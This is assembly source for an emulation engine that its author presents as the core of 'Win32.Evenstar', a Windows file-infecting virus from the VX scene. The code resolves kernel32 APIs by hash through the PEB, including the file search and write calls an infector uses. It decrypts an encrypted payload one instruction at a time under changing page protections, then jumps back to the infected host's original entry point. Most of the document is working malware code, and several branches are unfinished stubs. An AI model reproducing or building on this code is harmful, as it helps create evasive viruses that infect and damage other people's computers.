;:==============================================================================;
;:                                                                              ;
;:  Evenstar Emulation Engine rev 1                                             ;
;:                                                                              ;
;:      written by: EOF->m0s6581                                                ;
;:      contact:    [nop] [x90] [@] [live.ca]                                   ;
;:          or... [ssphysics][@][jabber.org]                                    ;
;:              Talk to me! I don't have any friends!                           ;
;:                                                                              ;
;:  What is this?                                                               ;
;:      This is not a complete emulation engine, by any means. But, rest        ;
;:      assured, there will be more to come. Check out my article for           ;
;:      concept/technical details about this!                                   ;
;:                                                                              ;
;:  What is evenstar?                                                           ;
;:      Win32.Evenstar is a sample infector utilizing this emulation engine. It ;
;:      doesn't utilize any advanced obfuscation techniques, as is meant to     ;
;:      test the stability of the emulator. The emu is contstructed to be as    ;
;:      modular as possible, so it can be integrated into other code.           ;
;:                                                                              ;
;:  I can't bother to read your crappy code, where is the synopsis?             ;
;:      I understand. The purpose is to build a line-by-line decrypter/         ;
;:      encrypter. It seems that emulation is the easiest way to accomplish     ;
;:      this goal. This asm file is the main emulator code.                     ;
;:                                                                              ;
;:  What does this emulation engine need?                                       ;
;:      Pointers to VirtualAlloc and VirtualProtect. Also, a length             ;
;:      disassembler to build an instruction length table.                      ;
;:                                                                              ;
;:  Who's code did you steal?                                                   ;
;:      I'd like to thank uNdErX of 29A for mlde32! Very stable and accurate.   ;
;:      The source has not been modified and is located in mlde32.asm. Thanks   ;
;:      again, man.                                                             ;
;:                                                                              ;
;:  Greets go to EOF-Project (Prom1x & DarkProphet), MetalKid, badbit,          ;
;:  DG2 and my homies @12 (DL :D), pri0n, zarathustra, spth, hh86,              ;
;:  and especially izee for keeping me sane.                                    ;
;:  Last but not least, all the great vx'ers who are no longer in the scene.    ;
;:  Without your talent, I would still be clueless. Thanks everyone!            ;
;:                                                                              ;
;:                                                                              ; 
;:                                                                              ;
;:  es_vm was tested on windows xp 32-bit.                                      ;
;:                                                                              ;
;:  Debuggee:           The emulated code.                                      ;
;:  Working Buffer:     Main buffer containing the Instruction Buffer,          ;
;:                      debuggee stack and other information utilized           ;
;:                      by the emu. Note: We must use VirtualAlloc, because     ;
;:                      it is aligned by pages. The emu cannot work without     ;
;:                      this explicit property.                                 ;
;:                                                                              ;
;:  Instruction Buffer: A small buffer at the Working Buffer page start used    ;
;:                      to execute instructions.                                ;
;:                                                                              ;
;:  Execution Buffer:   The encrypted payload is copied to here and the emu     ;
;:                      accesses it to read instructions.                       ;
;:                                                                              ;
;:  Instruction Counter:A pointer to the array of elements consisting of        ;
;:                      instruction lengths generated by the length disasm.     ;
;:                      It points within the Instruction Length Structure.      ;
;:                                                                              ;
;:==============================================================================;







;:==============================================================================;
;:  Program Constants                                                           ;
;:==============================================================================;
iop                             equ dd 90900b0fh                        ; Debug only - illegal opcode (ud2)
VM_GET_INFO_MACHINE             equ 0e0fe0f00h                          ; This entry in eax will tell the emu that the debuggee is asking for base information from the emu
VM_RETURN_TO_OEP                equ 0bbaaffeeh                          ; This entry in eax will pass the oep in ebx, informing the emulator that the debuggee has completed execution
VM_INFO_GET_API                 equ 0ddeeddeeh                          ; This entry in eax will pass a pointer to the API address table (of the VM stack)
INSTRUCTION_BUFFER_BASE         equ 20000h                              ; Obsolete
CODE_OFFSET                     equ OFFSET vm_handler
JUMP_OFFSET                     equ VM_DEBUG_JMP_TO_SEH
VM_STACK_SIZE                   equ 108                                 ; Size of emulator stack
VM_BREAK_OPCODE                 equ 0cch                                ; Code injected after regular instruction & call


;:==============================================================================;
;:  Emulator to debuggee communication constants                                ;
;:==============================================================================;
VM_STACK_PTR_OFFSET             equ 64                                  ; Interchangeable stack pointer 
VM_INST_LEN_PTR                 equ 60                                  ; Instruction length pointer
VM_INST_BASE_PTR                equ 68                                  ; Instruction base pointer
VM_AV_BIT                       equ 72                                  ; When the exception happens, the instruction is executed again after decryption.
VM_AV_LEN                       equ 76                                  ; Length, installed by AV handler
VM_AV_INST                      equ 80                                  ; Pointer to instruction, installed by AV, also checked by the proxy
VM_API                          equ 84
VM_STACK_CONTEXT                equ VM_STACK_PTR_OFFSET + 8
;VM_DEBUG_JMP_TO_SEH             equ ((OFFSET vm_handler - OFFSET vm_intro) + 01028005h) - 0103000bh
VM_DEBUG_JMP_TO_SEH             equ OFFSET vm_handler - 20000bh
VM_WORKING_BUFFER_SIZE          equ 4000h

;VM_SIZE                         equ OFFSET vm_intro - OFFSET start
VM_SIZE                         equ 0c00h                               ; Override

;   rebuild cs, ds, ss, es, fs[0] - SEH, gs segments
;   FS:[0x00]	SEH
;   FS:[0x04]	SS - top of stack



;:==============================================================================;
;:  Structures                                                                  ;
;:==============================================================================;
;   Just the CONTEXT structure (defined already)
;       This is pointed to by the exception_record
comment $
CONTEXT              STRUCT
     ContextFlags    dd  ?
     Dr0             dd  ?
     Dr1             dd  ?
     Dr2             dd  ?
     Dr3             dd  ?
     Dr6             dd  ?
     Dr7             dd  ?
     FloatSave       FLOATING_SAVE_AREA
     SegGs           dd  ?
     SegFs           dd  ?
     SegEs           dd  ?
     SegDs           dd  ?
     Edi             dd  ?
     Esi             dd  ?
     Ebx             dd  ?
     Edx             dd  ?
     Ecx             dd  ?
     Eax             dd  ?
     Ebp             dd  ?
     Eip             dd  ?
     SegCs           dd  ?
     EFlags          dd  ?
     Esp             dd  ?
     SegSs           dd  ?
     ExtendedRegisters   db MAXIMUM_SUPPORTED_EXTENSION dup (?)
CONTEXT              ENDS
$

;   Local thread context structure (read by emulator)
regs            STRUCT
    rebp         dd ?
    resi         dd ?
    redi         dd ?
    redx         dd ?
    recx         dd ?
    rebx         dd ?
    reax         dd ?
    rflags       dw ?
regs            ENDS


;:==============================================================================;
;:  Macros                                                                      ;
;:==============================================================================;
push_gen_reg MACRO 
    push    eax
    push    ebx
    push    ecx
    push    edx
    push    edi
    push    esi
ENDM


pop_gen_reg MACRO
    pop     esi
    pop     edi
    pop     edx
    pop     ecx
    pop     ebx
    pop     eax
ENDM


lock_buffer MACRO
;   lock execution buffer
    pusha
    lea     eax, vm_page_protect
    push    eax
    push    PAGE_NOACCESS
    push    1000h
    push    vm_exec_page
    mov     eax, vm_virtualprotect
    call    eax
    popa
ENDM


unlock_buffer MACRO
;   Unlock execution buffer
    pusha
    lea     eax, vm_page_protect
    push    eax
    push    PAGE_READONLY
    push    1000h
    push    vm_exec_page
    mov     eax, vm_virtualprotect
    call    eax
    popa
ENDM


write_buffer MACRO
;   write buffer execution buffer
    pusha
    lea     eax, vm_page_protect
    push    eax
    push    PAGE_READWRITE
    push    1000h
    push    vm_exec_page
    mov     eax, vm_virtualprotect
    call    eax
    popa
ENDM


;:==============================================================================;
;:  Entry Point                                                                 ;
;:==============================================================================;
vm_intro:
    nop

    call    vm_delta
vm_delta:
    mov     esi, 0ffeeffeeh
    pop     edx
    mov     ecx, esp

;:==============================================================================;
;:  Install SEH                                                                 ;
;:==============================================================================;
    assume  fs:nothing
    lea     eax, [edx + (OFFSET vm_handler - OFFSET vm_delta)]
    push    eax
    push    eax
    push    0 ;DWORD PTR fs:[0]
    mov     DWORD PTR fs:[0], esp

;   Build a stack frame
    push    ebp
    mov     ebp, esp
    sub     esp, VM_STACK_SIZE
    ;sub     edx, 6
    mov     vm_base, edx
    mov     vm_orig_esp, ecx
    mov     vm_host_oep, esi

;:==============================================================================;
;:  Stack Variables                                                             ;
;:==============================================================================; 
vm_parm_buf         equ [ebp - 4]                       ; Working buffer (stack, instruction buffer)
vm_parm_buf_size    equ [ebp - 8]                       ; Working buffer size
vm_parm_code_base   equ [ebp - 12]                      ; Begin analysis
vm_parm_code_size   equ [ebp - 16]                      ; Code size
vm_parm_entry       equ [ebp - 20]                      ; OEP of code
vm_inst_len         equ [ebp - 24]                      ; Length of instruction
vm_page_protect     equ [ebp - 28]                      ; Page protection data
vm_exec_page        equ [ebp - 32]                      ; Page containing executable code - self-reference
vm_key              equ [ebp - 36]                      ; Contains key
vm_inst_len_ptr     equ [ebp - 40]                      ; Pointer to the instruction length counter
vm_payload_insts    equ [ebp - 44]                      ; Amount of instructions in payload
vm_payload_inst_s   equ [ebp - 48]                      ; Payload instruction counter starts here
vm_base             equ [ebp - 52]                      ; Base address (delta) of emulator

vm_closehandle      equ [ebp - 56]
vm_createfile       equ [ebp - 60]
vm_getfilesize      equ [ebp - 64]
vm_readfile         equ [ebp - 68]
vm_virtualalloc     equ [ebp - 72]
vm_virtualprotect   equ [ebp - 76]
vm_writefile        equ [ebp - 80]
vm_getcurrdir       equ [ebp - 84]
vm_findfirstfile    equ [ebp - 88]
vm_findnextfile     equ [ebp - 92]

vm_kernel32         equ [ebp - 96]
vm_orig_esp         equ [ebp - 100]
vm_host_oep         equ [ebp - 104]

;:==============================================================================;
;:  Resolve function pointers to API                                            ;
;:==============================================================================;
;   kernel32
    mov     eax, DWORD PTR fs:[30h]
    mov     eax, DWORD PTR [eax + 0ch]
    mov     esi, DWORD PTR [eax + 01ch]
    lodsd
    mov     ebx, DWORD PTR [eax + 08h]
    mov     vm_kernel32, ebx

;   Resolve API loop
    mov     edx, vm_base
    sub     edx, 6
    add     edx, (OFFSET vm_hash - OFFSET vm_intro)
    lea     ebx, vm_closehandle    

@vm_api_main:
    push    edx
    push    ebx
    call    vm_api
    pop     ebx
    pop     edx

    mov     [ebx], eax
    add     edx, 4
    sub     ebx, 4
    cmp     DWORD PTR [edx], 0
    jne     @vm_api_main
    jmp     vm_1

;   Resolve API: thx again shitdown!
vm_api:
    mov     ebx, vm_kernel32
    mov     esi, [ebx + 03ch]                           ; pe header
    mov     esi, [esi + ebx + 078h]                     ; export table
    lea     esi, [esi + ebx + 01ch]                     ; address table
    lodsd                                               ; abs address table
    push    eax                                         ; save
    lodsd                                               ; name table
    push    esi                                         ; ptr to ordinal table
    lea     esi, [eax + ebx]
    mov     ecx, ebx                                    ; counter

@vm_api:
    lodsd
    add     eax, ebx                                    ; eax -> string pointer

;   Basic string hashing algorithm
vm_hashh:
    push    esi
    push    ebx
    mov     esi, eax
    xor     eax, eax
    movzx   ebx, BYTE PTR [esi]
@vm_hash:
    imul    eax, 5
    add     eax, ebx
    inc     esi
    movzx   ebx, BYTE PTR [esi]
    test    ebx, ebx
    jne     @vm_hash
    pop     ebx
    pop     esi

    inc     ecx
    inc     ecx

    cmp     [edx], eax
    jne     @vm_api

;   We have found the API
    pop     esi
    lodsd
    movzx   ecx, WORD PTR [eax + ecx - 2]
    pop     eax
    add     eax, ebx
    mov     eax, [ecx * 4 + eax]
    add     eax, vm_kernel32
    ret

;:==============================================================================;
;:  Build emulation structures                                                  ;
;:==============================================================================;
vm_1:
    mov     edx, vm_base                                ; Delta
    lea     edx, [edx + (OFFSET vm_end - vm_delta)]
    mov     eax, [edx]
    mov     vm_parm_code_size, eax                      ; Size of Encrypted code

;   How many instructions in payload
    mov     eax, [edx + 4]
    mov     DWORD PTR vm_payload_insts, eax             ; Total number of instructions in the encrypted payload
    sub     esp, eax
    mov     ecx, eax

;   Find bottom of instruction counter structure
    lea     edi, [edx + 8]
    mov     vm_inst_len_ptr, edi                        ; This points to the first element in the instruction length table (it will be 1, because of nop)

;   Find code entry
    lea     edi, [edi + eax + 4]
    mov     vm_parm_code_base, edi                      ; Base of code

;   Copy instruction counter structure to stack
    lea     esi, [edx + 8]
    lea     eax, [esp + ecx]
    mov     vm_payload_inst_s, eax
@vm_copy_inst:
    lodsb
    mov     BYTE PTR [esp + ecx], al
    loop    @vm_copy_inst
    mov     BYTE PTR [esp], 0ffh

;   Allocate working buffer
    push    PAGE_EXECUTE_READWRITE
    push    MEM_COMMIT
    push    VM_WORKING_BUFFER_SIZE
    push    NULL
    mov     eax, vm_virtualalloc
    call    eax
    mov     vm_parm_buf, eax                            ; This will be used for the debuggee IB, stack and other vars

;   Allocate Execution buffer
    push    PAGE_EXECUTE_READWRITE
    push    MEM_COMMIT
    push    1000h                                       ; We're assuming a max size of 1000h for the payload (far less than this)
    push    NULL
    mov     eax, vm_virtualalloc
    call    eax                                         ; Buffer which contains the encrypted payload
    mov     vm_exec_page, eax   

;   Copy code to execution buffer
    mov     ecx, vm_parm_code_size
    mov     edi, eax
    mov     esi, vm_parm_code_base
    rep     movsb                                       ; We copy the raw code to the execution buffer
                                                        ; This is to allow the emulator to manipulate
                                                        ; the payload.


;   An example of how the Instruction Length Structure is built
comment $
;:==============================================================================;
;:  Analyze code                                                                ;
;:==============================================================================; 
    xor     eax, eax
    mov     ecx, vm_parm_code_size
    mov     ebx, esp
    sub     esp, ecx
    push    vm_parm_code_base
@lpe_poly_lde:
    call    mlde32
    pop     edx
    add     edx, eax
    mov     BYTE PTR [esp + ecx], al
    push    edx
    loop    @lpe_poly_lde
    push    BYTE PTR 0ffh

;   Encrypt
    mov     esi, vm_parm_code_size
    lea     esi, [esp + esi + 8]
    mov     edi, vm_parm_code_base
    call    vm_enc
$

;   Lock execution buffer
    lock_buffer

;:==============================================================================;
;:  Prepare the emulation engine                                                ;
;:==============================================================================; 
    mov     edi, vm_exec_page                           ; edi -> eip of debuggee
    mov     ebx, vm_parm_buf                            ; ebx -> working buffer: instruction buffer, stack, vm data
    ;lea     esi, [esp + ((VM_SIZE + 4) - 0a0ch)]
    mov     esi, vm_payload_inst_s                      ; esi -> pointer to instruction counter structure
    lea     edx, [ebx + 8000]                           ; edx -> pointer to top of debuggee stack
    mov     eax, esp
    mov     esp, edx

;   Install SEH 
    ;push    OFFSET vm_handler
    ;push    DWORD PTR fs:[0]
    ;mov     DWORD PTR fs:[0], esp
    ;push    0deadbeefh
    push    ebx                                         ; retn
    pushf
    sub     esp, 28

;   Adjust stack ptr
    mov     edx, esp
    mov     esp, eax   
    mov     DWORD PTR [ebx + VM_STACK_PTR_OFFSET], edx
    add     edx, 4

;   Add other info: base of code + base of inst ptr
    mov     eax, vm_inst_len_ptr
    mov     DWORD PTR [ebx + VM_INST_LEN_PTR], eax
    mov     eax, vm_exec_page
    mov     DWORD PTR [ebx + VM_INST_BASE_PTR], eax
    mov     eax, vm_virtualprotect
    mov     DWORD PTR [ebx + VM_API], eax







;==============================================================================;
;:  Virtual Machine loop                                                       ;
;==============================================================================; 
    assume  ebx:nothing
@vm:
;   Here we execute the next instruction.
;   Get size of instruction
    xor     eax, eax                                    ; Zero
    std                                                 ; This is stored on the stack, so we're going backwards
    lodsb                                               ; Load instruction length
    mov     ecx, eax                                    ; len in cl
    mov     vm_inst_len, eax
    cld

;   Unlock execution buffer
    unlock_buffer

;   Copy instruction to instruction buffer
    ;mov     eax, vm_inst_len                            ; Instruction length
    pusha
    xchg    esi, edi
    xchg    edi, ebx               
    mov     [edx + 01eh], edi                     
    ; esi = OFFSET start
    ; edi = instruction buffer
    ; ebx = instruction length struct
    ; edx = stack ptr
    rep     movsb                                       ; Copy instruction to instruction buffer
    popa
    
;   Decrypt the instruction
    push    edi
    mov     edi, edx
    and     edi, 0ffff0000h
    call    vm_dec
    pop     edx

;   Lock execution buffer
    lock_buffer






;==============================================================================;
;:  Test the Instruction Type                                                  ;
;==============================================================================;
;:  1) Far Call                                                                ;
;:      Far calls are not emulated, as it is a call outside the payload        ;
;:  2) Local Call                                                              ;
;:      Local calls (within the payload) must be emulated, so the code doesn't ;
;:      escape the emulator.                                                   ;
;:  3) Return                                                                  ;
;:      This is only valid for local calls                                     ;
;:  4) [Non]Conditional Jumps                                                  ;
;:      Should be local                                                        ;
;:  5) All other instructions                                                  ;
;==============================================================================;
    mov     vm_inst_len, eax

;   Begin test
    mov     BYTE PTR al, [edi]






;==============================================================================;
;:  Debugging procedure                                                        ;
;==============================================================================;
;   VM DEBUG HALT - REMOVE ME
    ;cmp     WORD PTR [edi], 0b0fh
    ;jne     vm_no_halt
    ;iop

vm_no_halt:
    cmp     al, 0e8h                                    ; call?
    
;   1/2
    je      vm_call
    cmp     al, 0c3h                                    ; ret?
    
;   3
    je      vm_ret
    cmp     al, 0ffh                                    ; Call reg
    je      vm_call_reg_ff

;   4
    cmp     al, 0ebh                                    ; jmp short disp8                 
    je      vm_jmp_eb
    cmp     al, 0e9h                                    ; jmp near disp32
    je      vm_jmp_e9
    cmp     al, 0fh                                     ; Is the 0x0F opcode group present?
    je      vm_0f
    and     al, 11110000b                               ; Isolate the top nibble
    cmp     al, 070h                                    ; Short conditional Jump?
    je      vm_jmp_cond_short
    cmp     al, 0e0h                                    ; loop instruction
    je      vm_jmp_loop

;   5
    jmp     vm_reg_inst







;==============================================================================;
;::::::::::::::::::::::::::      Jump Emulation      ::::::::::::::::::::::::::;
;==============================================================================;
;   LOOP 0xe0-0xe2
;   The support for loop has not been completed yet
vm_jmp_loop:
;   First of all, do we need to jump?
    push    edx
    mov     edx, [ebx + VM_STACK_PTR_OFFSET]            ; Register context of debuggee
    assume  edx:ptr regs
    mov     eax, [edx].recx                             ; Load ecx register
    test    eax, eax                                    ; ecx register 0?
    je      vm_jmp_loop_false
    dec     eax                                         ; Otherwise, decrement
    mov     [edx].recx, eax                             ; Commit
    assume  edx:nothing
    xor     eax, eax
    pop     edx                                         ; Restore old value
    
;   Adjust instruction pointer
    mov     BYTE PTR al, [edi]
    cmp     al, 0e2h
    je      vm_jmp_loop_e2
    iop                                                 ; FIXME add other loop instructions

vm_jmp_loop_e2:
    mov     BYTE PTR al, [edi + 1]                      ; Load short operand
    cmp     al, 0
    jl      vm_jmp_loop_e2_neg
    iop                                                 ; FIXME

vm_jmp_loop_e2_neg:
    iop
    not     al
    not     eax
    mov     cl, [edi + 1]                               ; Load operand
    xchg    edx, edi
    lea     edi, [edi + eax + 2]                        ; Final destination
    xchg    ecx, eax

    stc
    jmp     vm_recompute_size_array

vm_jmp_loop_false: 
    pop     edx                                         ; Restore old value
    iop







;==============================================================================;
;:  Jump short                                                                 ;
;==============================================================================;
vm_jmp_eb:
    iop
    xor     ecx, ecx
    mov     cl, [edi + 1]                               ; Load 8 bit operand
    cmp     cl, 0
    jg      vm_jmp_eb_pos
    not     cl
    not     ecx
vm_jmp_eb_pos:
    xchg    edx, edi
    lea     edi, [edi + ecx + 2]                        ; Final destination
    call    vm_recompute_size_array
    dec     esi                                         ; Shift to next instruction
    jmp     @vm

;   JMP NEAR OPCODE 0xE9 (32-bit operand)
vm_jmp_e9:
    mov     ecx, [edi + 1]                              ; Load 32-bit operand
    xchg    edx, edi
    lea     edi, [edi + ecx + 5]                        ; Final Destination
    cmp     ecx, 0
    jmp     vm_recompute_size_array

vm_0f:
    mov     BYTE PTR al, [edi + 1]                      ; Load the opcode after the 0F grouping byte
    mov     ah, al                                      ; Store the opcode in ah
    and     al, 11110000b                               ; Isolate the top nibble
    cmp     al, 080h                                    ; Near conditional jump?
    jne     vm_reg_inst

;   Basic conditional jump opcodes
;   0000            jo              o
;   1000            js              s
;   0100            je              z
;   0010            jb              c
;   1010            jp              p
;   0110            jbe             c & z
;   1100            jl              (s <> o):T,(s = o):F
;   1110            jle             [(z = 1) || (s <> o)]:T,[(z = 0) && (s = o)]:F

;   Near Conditional Jump
vm_jmp_cond_near: 
    push    edx
    mov     DWORD PTR edx, [edi + 2]                    ; Load the 4 byte offset into edx
    mov     al, 2                                       ; Size of the jump instruction prefix + opcode
    xchg    ah, al
    jmp     vm_jmp_cond_table

;   Short Conditional Jump
vm_jmp_cond_short:
    push    edx
    mov     BYTE PTR dl, [edi + 1]                      ; Load the byte offset into dl
    mov     BYTE PTR al, [edi]                          ; Load the jump opcode
    xor     ah, ah
    inc     ah                                          ; Size of the jump instruction opcode

;   Jump test table intro
vm_jmp_cond_table:
    mov     DWORD PTR ecx, [ebx + 64]                   ; Load the debuggee stack pointer
    mov     WORD PTR cx, [ecx + 28]                     ; Load the debuggee eflags into cx register
    ; cx = eflags, al = opcode, ah = length
    push    eax
    and     al, 0fh
    xor     ah, ah
    btr     eax, 0                                      ; Test bit 0 of al
    pushf







;==============================================================================;
;:  Jump table logic                                                           ;
;==============================================================================;
;:  Feel free to give me an idea of how to reduce this size
    test    al, al                                      ; test for 0000, jo, o
    jne     vm_1000                                     ; Jump if not true
    popf

    ; jo/jno
    jc      vm_0000_jno
    ; jo
    bt      ecx, 11                                     ; o flag
    jc      vm_jmp_cond_true
    jnc     vm_jmp_cond_false
    ; jno
    vm_0000_jno:
    bt      ecx, 11                                     ; o flag
    jc      vm_jmp_cond_false
    jnc     vm_jmp_cond_true

;   js/jns
vm_1000:
    cmp     al, 1000b
    jne     vm_0100
    popf
    
    ; js/jns
    jc      vm_1000_jns
    ; js
    bt      ecx, 7                                      ; s flag
    jc      vm_jmp_cond_true
    jnc     vm_jmp_cond_false
    ; jns
    vm_1000_jns:
    bt      ecx, 7                                      ; s flag
    jc      vm_jmp_cond_false
    jnc     vm_jmp_cond_true    

;   jb/jnb
vm_0100:
    cmp     al, 0100b
    jne     vm_0010
    popf
    
    ; jb/jnb
    jc      vm_0100_jnb
    ; jb
    bt      ecx, 6                                      ; z flag
    jc      vm_jmp_cond_true
    jnc     vm_jmp_cond_false
    ; jnb
    vm_0100_jnb:
    bt      ecx, 6                                      ; z flag
    jc      vm_jmp_cond_false
    jnc     vm_jmp_cond_true   

;   je/jne
vm_0010:
    cmp     al, 0010b
    jne     vm_1010
    popf
    
    ; je/jne
    jc      vm_0010_jne
    ; je
    bt      ecx, 0                                      ; c flag
    jc      vm_jmp_cond_true
    jnc     vm_jmp_cond_false
    ; jne
    vm_0010_jne:
    bt      ecx, 0                                      ; c flag
    jc      vm_jmp_cond_false
    jnc     vm_jmp_cond_true   

;   jp/jnp
vm_1010:
    cmp     al, 1010b
    jne     vm_0110
    popf
    
    ; jp/jnp
    jc      vm_1010_jnp
    ; jp
    bt      ecx, 2                                      ; p flag
    jc      vm_jmp_cond_true
    jnc     vm_jmp_cond_false
    ; jnp
    vm_1010_jnp:
    bt      ecx, 2                                      ; p flag
    jc      vm_jmp_cond_false
    jnc     vm_jmp_cond_true 

;   jbe c & z
vm_0110:
    cmp     al, 0110b
    jne     vm_1100
    popf
    
    ; jbe/ja
    jc      vm_0110_ja

    ; jbe
    bt      ecx, 6                                      ; z flag
    jnc     vm_jmp_cond_true
    bt      ecx, 0                                      ; c flag
    jnc     vm_jmp_cond_true
    jmp     vm_jmp_cond_false
    ; ja
    vm_0110_ja:
    bt      ecx, 6                                      ; z flag
    jnc     vm_jmp_cond_false
    bt      ecx, 0                                      ; c flag
    jnc     vm_jmp_cond_false
    jmp     vm_jmp_cond_true    

;   jl/jge
vm_1100:
    cmp     al, 1100b
    jne     vm_1110
    popf

    jc      vm_1100_jge
    ; jl s <> o
    bt      ecx, 7                                      ; s flag
    jc      vm_1100_jl_0
    bt      ecx, 11                                     ; o flag
    jc      vm_jmp_cond_true
    jmp     vm_jmp_cond_false
    vm_1100_jl_0:
    bt      ecx, 11                                     ; o flag
    jc      vm_jmp_cond_false
    jmp     vm_jmp_cond_true    
    ; jge s = o
    vm_1100_jge:
    bt      ecx, 7                                      ; s flag
    jc      vm_1100_jge_0
    bt      ecx, 11                                     ; o flag
    jc      vm_jmp_cond_false
    jmp     vm_jmp_cond_true
    vm_1100_jge_0:
    bt      ecx, 11                                     ; o flag
    jc      vm_jmp_cond_true
    jmp     vm_jmp_cond_false

; jle[jng] (z=1) || (s<>o) 1110
; jg[jnle] (z=0) && (s=o) 1111
vm_1110:
    popf
    jc      vm_1110_jg
    ; jle[jng]
    bt      ecx, 6                                      ; z flag
    jc      vm_jmp_cond_true
    ; (s <> o)
    bt      ecx, 7                                      ; s flag
    jc      vm_1110_jle_0
    bt      ecx, 11                                     ; o flag
    jc      vm_jmp_cond_true
    jmp     vm_jmp_cond_false
    vm_1110_jle_0:
    bt      ecx, 11                                     ; o flag
    jc      vm_jmp_cond_false
    jmp     vm_jmp_cond_true    
    ; jg[jnle]
    vm_1110_jg:
    bt      ecx, 6                                      ; z flag
    jc      vm_jmp_cond_false
    bt      ecx, 7                                      ; s flag
    jc      vm_1110_jg_0
    bt      ecx, 11                                     ; o flag
    jnc     vm_jmp_cond_true
    jmp     vm_jmp_cond_false
    vm_1110_jg_0:
    bt      ecx, 11                                     ; o flag
    jnc     vm_jmp_cond_false






;==============================================================================;
;   Jump TRUE                                                                  ;
;==============================================================================;
vm_jmp_cond_true:
    pop     eax                                         ; al = opcode, ah = siz
    pop     edx                                         ; debuggee stack pointer

    cmp     ah, 2                                       ; near jump?
    je      vm_jmp_cond_true_32

;   8-bit short operand, adjust destination
    xor     eax, eax
    mov     al, [edi + 1]                               ; Load operand
    cmp     al, 0                                       ; forward/backward offset
    jl      vm_jmp_cond_true_8_back
;   Forwards in memory
    xchg    edx, edi
    lea     edi, [edi + eax + 2]                        ; Load final destination (forward)
    jmp     vm_jmp_cond_true_realign
;   Backwards
vm_jmp_cond_true_8_back:
    not     al
    not     eax
    xchg    edx, edi
    lea     edi, [edi + eax + 2]                        ; Final displacement
    ;inc     eax
    jmp     vm_jmp_cond_true_realign

;   32-bit near operand
vm_jmp_cond_true_32:
    mov     eax, [edi + 2]                              ; Load operand
    xchg    edi, edx
    lea     edi, [edi + eax + 6]                        ; Final displacement

;   Prepare to realign instruction pointer (procedure)
vm_jmp_cond_true_realign:
    mov     ecx, eax
    xor     eax, eax                                    ; Set eax
    cmp     ecx, 0                                      ; Prepare flags
    jmp     vm_recompute_size_array                     ; Jump to procedure      






;==============================================================================;
;   Jump FALSE                                                                 ;
;==============================================================================;

vm_jmp_cond_false:
    pop     eax
    pop     edx
    xchg    edx, edi
    shr     eax, 8                                      ; Shift the instruction length to al
    cmp     eax, 1
    je      vm_jmp_cond_false_8
;   32-bit
    lea     edi, [edi + 6]
    jmp     @vm
;   8-bit
vm_jmp_cond_false_8:
    lea     edi, [edi + 2]
    jmp     @vm






;==============================================================================;
;:::::::::::::::::::::::::       Call Emulation      ::::::::::::::::::::::::::;
;==============================================================================;

;   Call Found: determine if it is local (within the specified executable code range)
vm_call:
    mov     DWORD PTR eax, [edi + 1]                    ; Load operand
    test    eax, eax
    je      vm_call_delta
    cmp     eax, VM_SIZE                                ; Forced program size (check call limits)
    mov     eax, vm_inst_len
    jng     vm_call_local

vm_call_delta:
    xchg    edx, edi
    lea     edi, [edi + 5]                              ; Next instruction
    call    vm_realign_context_frame
    lea     eax, [ebx + VM_STACK_PTR_OFFSET]
    mov     eax, [eax]
    lea     eax, [eax + 34]
    mov     [eax], edi
    jmp     @vm

;==============================================================================;
;:  Far call - aka this call offset is outside of the specified call base      ;
;==============================================================================;
    mov     eax, edi                                    ; Current instruction pointer
    sub     eax, ebx                                    ; Relative offset
    add     eax, [edi + 1]                              ; Other offset
    mov     BYTE PTR [ebx], 0e8h                        ; Call
    mov     DWORD PTR [ebx + 1], eax                    ; Operand
;   Prepare registers
;   edi = Instruction buffer + 5
;   ebx = Instruction length struct
;   esi = Instruction pointer
;   eax = Instruction length (5)
    mov     eax, 5
    xchg    esi, ebx
    xchg    edi, esi
    lea     edi, [edi + 5]
    add     esi, 5                                      ; Add by the size of the call instruction
    jmp     vm_stamp_instructions







;==============================================================================;
;:  Local call - within range of code base                                     ;
;==============================================================================;
vm_call_local:
;   Move context information (on top of stack) down by 4 bytes. Make enough space for the retn address (edi)
;   so it is caught by the emulator
    xchg    edx, edi
    call    vm_realign_context_frame
    jmp     vm_compute_new_eip 
    






;==============================================================================;
;:  call reg                                                                   ;
;==============================================================================;
;   assuming there is VM_GET_INFO_MACHINE in eax, we will move the base address
;   of the emulator into eax instead. This will not change any stack information
vm_call_reg_ff:
    mov     eax, [edi + VM_STACK_PTR_OFFSET]
    mov     eax, [eax + 24]                             ; Load eax value of debuggee
    cmp     eax, VM_GET_INFO_MACHINE
    je      vm_call_reg_info
    cmp     eax, VM_RETURN_TO_OEP
    je      vm_call_reg_oep
    cmp     eax, VM_INFO_GET_API
    je      vm_call_reg_api
    jmp     vm_reg_inst

;   Call reg [VM_GET_INFO_MACHINE] is true. The debuggee is asking for the base address of the vm
vm_call_reg_info:
    push    ebx
    mov     ebx, [edi + VM_STACK_PTR_OFFSET]
    mov     eax, vm_base
    sub     eax, 6
    mov     [ebx + 24], eax
    pop     ebx
    add     edx, 2                                      ; Move to next instruction
    xchg    edx, edi
    jmp     @vm








;==============================================================================;
;:  call oep                                                                   ;
;==============================================================================;
vm_call_reg_oep:
    mov     ebx, [edi + VM_STACK_PTR_OFFSET]            ; Load address of debuggee stack
vm_call_reg_oep_stamp:
    mov     eax, 0ffeeffeeh
    mov     ebx, vm_host_oep
    mov     esp, vm_orig_esp
    jmp     ebx
    


vm_call_reg_api:
    push    ebx
    mov     ebx, [edi + VM_STACK_PTR_OFFSET]
    lea     eax, vm_findnextfile
    mov     [ebx + 24], eax
    pop     ebx
    add     edx, 2
    xchg    edi, edx
    jmp     @vm




;==============================================================================;
;:  Realign debuggee thread context information (to make room for ret)         ;
;==============================================================================;
;:  + Local call and retn procedures need to make use of this procedure        ;
;==============================================================================;
vm_realign_context_frame:
    pusha                                               ; Preserve registers for next cycle
    push    edi                                         ; Contains current instruction
    mov     DWORD PTR edx, [ebx + 64]                   ; Load debuggee stack pointer
    mov     edi, edx
    mov     esi, edi
    sub     edi, 4                                      ; Increase stack size by 4 bytes (enough to place a ret)
    mov     ecx, 34
    rep     movsb
;   Stamp in ret address
vm_realign_context_frame_stamp:
    pop     edi                                         ; Current instruction
    lea     edx, [edi + 5]                              ; retn address (after call)
    mov     [esi - 4], edx                              ; Stamp in ret address
;   Stamp in new esp
    mov     edx, [ebx + 64]
    sub     edx, 4                                      ; Increase size of stack pointer by 4 bytes
    mov     [ebx + 64], edx                             ; Stamp in
    popa                                                ; Restore regs
    ret







;==============================================================================;
;:  Recompute eip & size struct ptr of debuggee after a jump is made           ;
;==============================================================================;
vm_compute_new_eip:
    xchg    edx, edi
    xor     eax, eax
